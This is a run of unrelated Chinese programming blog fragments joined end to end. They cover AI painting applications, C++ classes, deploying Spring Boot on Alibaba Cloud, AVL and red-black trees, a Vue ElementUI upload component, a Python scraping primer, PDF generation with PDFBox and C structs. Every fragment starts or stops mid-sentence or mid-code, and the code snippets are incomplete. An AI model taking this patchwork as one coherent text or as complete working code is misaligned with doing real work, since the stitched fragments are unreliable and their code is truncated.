三、自动化生产中的效率革命 在工业生产领域,AI绘画技术同样展现出巨大的应用价值。传统的设计和生产流程往往需要耗费大量的人力和时间,而AI绘画则能够通过自动化生成设计方案和图纸,显著提高生产效率。例如,在汽车制造业中,AI绘画可以根据市场需求和消费者偏好,快速生成多款车型的外观设计方案,为汽车制造商提供多样化的产品选择。同时,AI还能对设计方案进行精准的优化和调整,确保产品既美观又实用。这种自动化生产方式不仅降低了生产成本,还缩短了产品上市周期,增强了企业的市场竞争力。 四、具体案例与实践展示 以时尚设计行业为例,某知名服装品牌利用AI绘画技术,实现了从灵感收集到设计稿输出的全链条自动化。设计师只需输入关键词或描述,AI就能迅速生成一系列符合品牌风格和市场需求的设计草图。这些草图不仅色彩搭配和谐、款式新颖独特,而且能够根据不同材质和工艺进行智能调整和优化。最终,设计师只需在AI生成的设计稿基础上进行微调和完善,即可快速完成整个设计流程。这一创新实践不仅极大地提高了设计效率和质量,还为消费者带来了更加个性化和时尚化的穿着体验。 AI绘画在艺术创作、虚拟现实、自动化生产等多个领域展现出了显著的优势。首先,AI绘画能够打破传统艺术创作的局限,为艺术家提供无限的创意空间;其次,AI绘画在虚拟现实领域的应用为用户带来了更加真实和沉浸的体验;最后,AI绘画在自动化生产中的应用则显著提高了生产效率和质量,为企业带来了更大的经济效益。这些优势使得AI绘画在未来有着广阔的发展前景和巨大的市场潜力,让我们一起见证这一伟大的历史变革吧!

类和对象(上)

一、类的定义 类有点类似c语言的结构体是一种自定义类型,但类里面除了定义一些成员变量外还有方法(成员函数),在访问的时候要指定类域。 在类定义时首先用一个class关键字,在后面接着类的名字,然后使用{ }在花括号里面定义成员变量和成员函数,最后需要在花括号外加分号,如下: class Stack { void Init(int n = 4) { arr = (int*)malloc(sizeof(int) * n); if (nullptr == arr) { perror("malloc申请空间失败"); return; } capacity = n; size = 0; } //...... int* arr; size_t size; size_t capacity; }; 这里calss也可以替换成struct,在类里面的函数默认都为内联函数,当然它不一定都展开具体还取决于编译器。 二、访问限定符 在定义类的时候通常会用一些关键字来限定类成员的访问,访问限定符有public,private,protected。 public修饰的成员在类外可以直接被访问;protected和private修饰的成员在类外不能直接被访问,protected和private的具体区别这里先不讲解。访问权限作⽤域从该访问限定符出现的位置开始直到下⼀个访问限定符出现时为⽌,如果后⾯没有访问限定符,作⽤域就到}即类结束。class定义成员没有被访问限定符修饰时默认为private,struct默认为public。⼀般成员变量都会被限制为private/protected,需要给别⼈使⽤的成员函数会放为public。 class Stack { public: void Init(int n = 4) { arr = (int*)malloc(sizeof(int) * n); if (nullptr == arr) { perror("malloc申请空间失败"); return; } capacity = n; size = 0; } //.

部署springboot项目到阿里云服务器(小白包会)

部署springboot项目到阿里云服务器(小白包会)前言:一、创建一台阿里云服务器1.打开阿里云官网2.注册/登录账号3.搜索云服务器4.云服务器选择5.云服务器配置6.查看云服务器7.设置安全组 二、使用Xshell远程连接服务器1.新建会话2.连接成功 三、在阿里云服务器上配置mysql1.创建mysql文件夹2.用如下命令安装yum源3.用如下命令安装mysql4.启动mysql5.重置密码6.Navicat连接云服务器的mysql7.导入数据 四、在阿里云上安装JDK1.下载JDK2.将文件上传到阿里云服务器3.解压文件4.配置系统环境变量 五、安装Redis缓存1.Redis的编译环境2.上传Redis安装文件3.编译Redis4.安装5.Copy配置文件6.Redis启动7.客户端访问redis 六、部署SpringBoot项目1.将项目打成jar包2.设置项目端口号3.在Idea中打包项目4.上传jar包到云服务器5.部署项目 七.设置域名1.购买域名2.域名解析3.快速认证4.二次域名解析 八、参考博客1.将springboot项目部署到阿里云服务器(2022-07-29)2.域名二次解析 部署springboot项目到阿里云服务器(小白包会) 前言: 学了java相关的项目后,想着如何让其他人也能访问我的项目,于是就用阿里云服务器部署springboot项目,按着网上教程也部署成功了,但是有些部分不够清楚,耗费了些时间,所有自己写一篇文档,尽可能把每一步都写清楚 一、创建一台阿里云服务器 1.打开阿里云官网 链接:https://www.aliyun.com 2.注册/登录账号 3.搜索云服务器 点击云服务器ECS 4.云服务器选择 这里有两个选项,购买和免费试用,新用户可以免费试用三个月,我这里选择的是免费使用 跳转后可以看到这有免费试用版,点击立即试用(右边还有1个也是免费的,但是好像是小程序相关的,感兴趣可以点击试用教程看看) 5.云服务器配置 自行选择合适的配置 下面预装应用这里可以不选 点击立即试用 6.查看云服务器 回到主页,点击控制台 再点这个“菜单(三条杠)” 点击云服务器ECS 服务器购买后默认启动,点击实例查看详细信息 如果忘记密码可以点击重置密码,也可以先点击远程连接体验一下 点击远程连接后,点立即登录 输入用户名默认(root)和自定义密码 进入到如下界面就表示服务器创建成功 7.设置安全组 服务器默认是没有开启防火墙,但是阿里云好像是自带防火墙,所有得通过设置安全组来开放端口号,让其他人通过公关IP+端口号来访问springboot项目 二、使用Xshell远程连接服务器 如果没有安装Xshell软件可以先去安装一下 1.新建会话 填写名称和主机IP,这里的主机IP就是前面服务器的公网IP 再次填写用户名和密码 2.连接成功 三、在阿里云服务器上配置mysql 1.创建mysql文件夹 先在根目录下创建mysql文件夹,用于存放下载的mysql [root@iZ2zegw3mkls9olizhdg74Z ~]# cd .. [root@iZ2zegw3mkls9olizhdg74Z /]# ls bin dev home lib64 media opt root sbin sys usr boot etc lib lost+found mnt proc run srv tmp var [root@iZ2zegw3mkls9olizhdg74Z /]# mkdir mysql [root@iZ2zegw3mkls9olizhdg74Z /]# cd mysql/ [root@iZ2zegw3mkls9olizhdg74Z mysql]# wget 'https://dev.

【C++深度探索】AVL树与红黑树的原理与特性

🔥 个人主页:大耳朵土土垚 🔥 所属专栏:C++从入门至进阶 这里将会不定期更新有关C/C++的内容,欢迎大家点赞,收藏,评论🥳🥳🎉🎉🎉 前言 前面对map/multimap/set/multiset进行了简单的介绍,我们发现这几个容器有个共同点是:其底层都是按照二叉搜索树来实现的,但是二叉搜索树有其自身的缺陷,假如往树中插入的元素有序或者接近有序,二叉搜索树就会退化成单支树,时间复杂度会退化成O(N),因此map、set等关联式容器的底层结构是对二叉树进行了平衡处理,即采用平衡树来实现。 而AVL树和红黑树是常用的自平衡二叉搜索树。它们在插入、删除和查找操作上具有较好的性能,并且在各种应用场景中被广泛使用。 文章目录 前言1.AVL树1.1 AVL树的定义1.2 AVL树的性质1.3 AVL树的节点 2.红黑树2.1 红黑树的定义2.2 红黑树的性质2.3 红黑树的节点 3.结语 1.AVL树 1.1 AVL树的定义 二叉搜索树虽可以缩短查找的效率,但如果数据有序或接近有序二叉搜索树将退化为单支树,查找元素相当于在顺序表中搜索元素,效率低下。因此,两位俄罗斯的数学家G.M.Adelson-Velskii和E.M.Landis在1962年发明了一种解决上述问题的方法:当向二叉搜索树中插入新结点后,如果能保证每个结点的左右子树高度之差的绝对值不超过1(需要对树中的结点进行调整),即可降低树的高度,从而减少平均搜索长度,如下图所示,每个节点都有一个平衡因子: 该平衡因子是由左子树的高度减去右子树的高度得来的(当然也可以选择使用右子树的高度减去左子树的高度),当平衡因子的大小大于等于2或小于等于-2时,说明左右高度差超过1,就需要旋转来维持平衡,这也是平衡因子的作用。 1.2 AVL树的性质 一棵AVL树或者是空树,或者是具有以下性质的二叉搜索树: 它的左右子树都是AVL树左右子树高度之差(简称平衡因子)的绝对值不超过1(-1/0/1) 如果一棵二叉搜索树是高度平衡的,它就是AVL树。如果它有n个结点,其高度可保持在 O ( l o g 2 n ) O(log_2 n) O(log2​n),搜索时间复杂度O( l o g 2 n log_2 n log2​n) 1.3 AVL树的节点 那么AVL树节点的内容除了左右子树的指针以及存储数据的类型,还需要保存该节点的平衡因子,也就是说AVL树每个节点都包含一个平衡因子,一旦该节点的平衡因子大于等于2或小于等于-2就需要进行旋转,维持平衡: struct AVLTreeNode { AVLTreeNode<T>* _pLeft; AVLTreeNode<T>* _pRight; AVLTreeNode<T>* _pParent;//父节点指针 T _data; //存储数据 int _bf; // 节点的平衡因子 //默认构造函数 AVLTreeNode(const T& data = T()) : _pLeft(nullptr) , _pRight(nullptr) , _pParent(nullptr) , _data(data) , _bf(0) {} }; 除了平衡因子,我们发现每个节点都保存了父节点的指针,这是因为旋转或删除一个节点之后,父节点的平衡因子可能也需要改变,所以需要保存。

vue elementui 上传视频 以及上传视频失败重新上传没反应的处理方法

<template> <el-drawer title="上传视频" size="50%" :visible.sync="drawer" :direction="direction"> <div class="content"> <div class="upload-box" v-if="!secondStep"> <!-- on-exceed:超出数量限制时的钩子 file-list:上传的文件列表 --> <el-upload class="upload-demo" drag :data="uploadData" :action="actionUrl" :headers="headers" :on-success="handleSuccess" :on-error="handleError" :before-upload="beforeUpload" :file-list="fileList" :limit="1" accept=".mp4,.mov,.mpeg,.avi" > <i class="el-icon-upload"></i> <div class="el-upload__text">将文件拖到此处,或<em>点击上传</em></div> <div class="el-upload__tip" slot="tip"> <div>(1) 文件大小: 最大 500 MB。</div> <div>(2) 比例:9:16, 16:9 和 1:1。</div> <div>(3) 格式:.mp4, .mov, .mpeg, .avi。</div> <div>投放位置为TikTok限制:分辨率大于720*1280 px , 码率大于 516 Kbps , 时长 5-60s。</div> </div> </el-upload> </div> <div class="batch-box" v-if="secondStep"> <el-table ref="multipleTable" :data="fileList" tooltip-effect="dark" style="

Python 爬虫入门(一):从零开始学爬虫 「详细介绍」

Python 爬虫入门(一):从零开始学爬虫 「详细介绍」 前言1.爬虫概念1.1 什么是爬虫?1.2 爬虫的工作原理 2. HTTP 简述2.1 什么是 HTTP?2.2 HTTP 请求2.3 HTTP 响应2.4 常见的 HTTP 方法 3. 网页的组成3.1 HTML3.2 CSS3.3 JavaScript 4. 使用 Python 进行 Web 爬虫4.1 常用的 Python 库4.2 安装所需库4.3 编写一个简单的爬虫4.4 示例代码 5. 处理复杂的网页5.1 使用 Playwright 示例 6. 编写一个完整的爬虫项目6.1 项目要求6.2 项目步骤6.3 示例代码 7. robots.txt 文件是什么?8. 注意事项 总结 前言 欢迎来到“Python 爬虫入门”系列的第一篇文章。你有没有想过,怎么能从网页上自动抓取你需要的数据?比如,一次性下载所有喜欢的图片,或者获取最新的新闻资讯。其实,这就是网络爬虫能做的事情。Python 是一门非常受欢迎的编程语言,简单易学,而且有很多强大的库可以用来编写网络爬虫。即使你是编程新手,也不用担心,这个系列会从最基础的知识讲起,带你一步步掌握写爬虫的技能。在这篇文章里,我们会先聊聊什么是网络爬虫,它是怎么工作的,然后教你如何安装和配置开发环境、如何使用 Python 编写爬虫脚本。 1.爬虫概念 1.1 什么是爬虫? 网络爬虫,也称为网络蜘蛛、网络机器人,是一种自动化脚本或程序,用于自动浏览互联网并收集数据。 爬虫可以帮助我们从网页中提取信息,从而实现数据采集、信息检索、网站分析等功能。 1.2 爬虫的工作原理 发送请求:爬虫向目标网站发送 HTTP 请求。获取响应:目标网站返回 HTTP 响应,包含请求的网页内容。解析数据:爬虫解析网页内容,提取所需数据。存储数据:将提取的数据存储在本地或数据库中。 2. HTTP 简述 2.

java springboot 生成pdf 的方式有哪些

在Spring Boot应用程序中生成PDF文件,‌可以通过以下几种方式实现:‌ 一、使用PDFBox库:‌ PDFBox是一个开源的Java库,‌用于处理PDF文档。‌它支持创建、‌读取和修改PDF文件。‌在Spring Boot应用程序中,‌可以通过PDFBox库来生成PDF文件。‌具体实现包括创建一个PDDocument对象,‌添加页面,‌设置页面内容流,‌设置字体和大小,‌显示文本,‌最后保存并关闭文档。‌ 1、添加依赖: <dependency> <groupId>org.apache.pdfbox</groupId> <artifactId>pdfbox</artifactId> <version>2.0.24</version> </dependency> 2、使用PDFBox API来创建、读取、编辑PDF文件。 以下是一个简单的例子,展示如何使用PDFBox创建一个PDF文件并添加一些文本: import org.apache.pdfbox.pdmodel.PDDocument; import org.apache.pdfbox.pdmodel.PDPage; import org.apache.pdfbox.pdmodel.PDPageContentStream; import org.apache.pdfbox.pdmodel.font.PDType1Font; import java.io.IOException; public class PDFBoxExample { public static void main(String[] args) { try { // 创建一个PDF文档 PDDocument document = new PDDocument(); // 创建一页 PDPage page = new PDPage(); document.addPage(page); // 创建一个内容流 PDPageContentStream contentStream = new PDPageContentStream(document, page); // 设置字体 contentStream.setFont(PDType1Font.HELVETICA_BOLD); // 将文本添加到PDF页面 contentStream.drawString("PDFBox! This is a PDF document.

【C语言】结构体,枚举,联合等自定义类型详细介绍

目录 结构体 结构体声明 结构体成员的访问 结构体自引用 结构体变量定义,初始化,传参 结构体内存对齐 位段 枚举 联合(共用体) 结构体 结构体声明 1. 概念 1. 结构体是一些值的集合,这些值称为成员变量。 2. 结构体的每个成员可以是不同类型的变量。 3. 数组:一组相同类型元素的集合,结构体:一组不一定相同类型元素的集合。 4. 结构体的成员可以是标量、数组、指针,甚至是其他结构体。 2. 声明 例子 假设我们要用结构体表示一个学生类型 struct Stu { char name[20]; //名字 int age; //年龄 char sex[5]; //性别 }; 我们还可以这样写,这样表示直接用这个结构体类型创建s1和s2变量。 struct Stu { char name[20]; int age; char sex[5]; }s1, s2; 也可以这样创建变量。 struct Stu s3; 2. 特殊的声明 在声明结构的时候,可以不完全的声明。 比如:匿名结构体类型。 接下来我这样写。 struct { int a; char b; float c; }x; struct { int a; char b; float c; }*p; 请问我可以写 p = &x; 吗?答案是不行。虽然成员是一样的,但编译器会把上面的两个声明当成完全不同的两个类型。